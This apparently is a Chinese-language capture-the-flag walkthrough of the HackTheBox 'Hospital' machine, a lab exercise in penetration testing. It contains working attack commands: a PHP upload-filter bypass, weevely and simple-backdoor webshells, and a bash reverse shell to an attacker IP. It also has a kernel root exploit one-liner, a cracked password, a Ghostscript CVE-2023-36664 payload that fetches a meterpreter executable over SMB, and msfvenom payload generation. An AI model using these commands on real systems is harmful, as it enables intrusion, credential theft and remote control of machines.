Portinfo:

1
nmap 10.10.11.241 -n -Pn -p- -sT --min-rate 2000

image-20240421173314650

1
nmap 10.10.11.241 -p22,53,88,135,139,443,445,389,1801,2103,2105,2107,2179,3389,6404,6406,6407,6409,6617,6639,8080,9389 -sC -sV -oN portinfo.txt -Pn

image-20240421180444299

目标域名为hospital.htb,Windows机器,但是有Ubuntu的SSH服务,疑似存在容器,端口映射的现象。

GetShell:

8080端口运行一个web服务:

image-20240421182950757

获取目录信息:

1
dirsearch -u http://hospital.htb:8080/

image-20240421193832599

没有账号密码,但是在以下地址可以注册一个:

1
http://hospital.htb:8080/register.php

image-20240421183025332

登录成功有一个文件上传接口:

image-20240421183148093

目标站点是PHP类型的,尝试上传php文件:

image-20240421184745988

如果将其更改为pdf会上传成功:

image-20240421184926194

枚举可上传的php执行文件后缀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg

image-20240421193345218

执行枚举:

image-20240421193303411

phar可以正常上传:

image-20240421193852873

phpinfo里显示了一堆函数被禁用:

image-20240421194500241

可以用weevely自动化bypass disable_functions,生成webshell:

1
weevely generate 'password123' backdoor.phar

上传后使用weevely进行连接并反弹shell:

1
weevely http://hospital.htb:8080/uploads/backdoor.phar password123

image-20240421202342884

1
bash -c "/bin/bash -i >& /dev/tcp/10.10.16.28/443 0>&1"

收到shell:

image-20240421202405970

GetDrwilliams:

升级shell:

1
2
3
4
5
script -qc /bin/bash /dev/null
CTRL+Z;
stty raw -echo; fg;
reset;
screen;

查看内核版本:

image-20240421202904391

该内核版本有提权漏洞:

1
https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----887fd3d6fee9--------------------------------

输入如下命令:

1
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash")'

image-20240421203224697

读取passwd:

image-20240421203527409

读取shadow:

image-20240421203609501

破解shadow可以获取到drwilliams用户的密码:

image-20240421204003410

1
drwilliams:qwe123!@#

GetDrbrown:

使用密码可以访问443端口的mail服务:

image-20240423173927648

GhostScript存在一个CVE-2023-36664,漏洞分析可看以下文章:

1
https://www.kroll.com/en/insights/publications/cyber/ghostscript-cve-2023-36664-remote-code-execution-vulnerability

EXP可以在github上找到:

1
https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection

使用msfvenom生成exe:

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.28 LPORT=443 -f exe -o shell.exe

image-20240424102229515

制作payload:

1
python CVE_2023_36664_exploit.py --inject --payload 'cmd.exe /c \\\\10.10.16.28\\share\\shell.exe' --filename file.eps

image-20240424102518769

启动smbserver:

1
smbserver.py share . -smb2support

image-20240424102543137

对邮件进行回复:

image-20240424102823767

共享被访问:

image-20240424102951089

监听到Meterpreter会话:

image-20240424103244935

为保证不必要的麻烦,进行进程迁移:

image-20240424103343817

用户flag:

image-20240424142047940

GetSystem:

获取web权限:

1
upload /usr/share/webshells/php/simple-backdoor.php

image-20240424142320186

Web服务是以system权限运行的:

1
curl -k https://hospital.htb/simple-backdoor.php?cmd=whoami

image-20240424142452737

上传木马:

1
upload /home/kali/Expliot/CVE-2023-36664-Ghostscript-command-injection/shell.exe

image-20240424142703802

启动木马:

1
curl -k https://hospital.htb/simple-backdoor.php?cmd=shell.exe

image-20240424142805471

收到会话回连:

image-20240424142728347

获取root.txt:

image-20240424143048321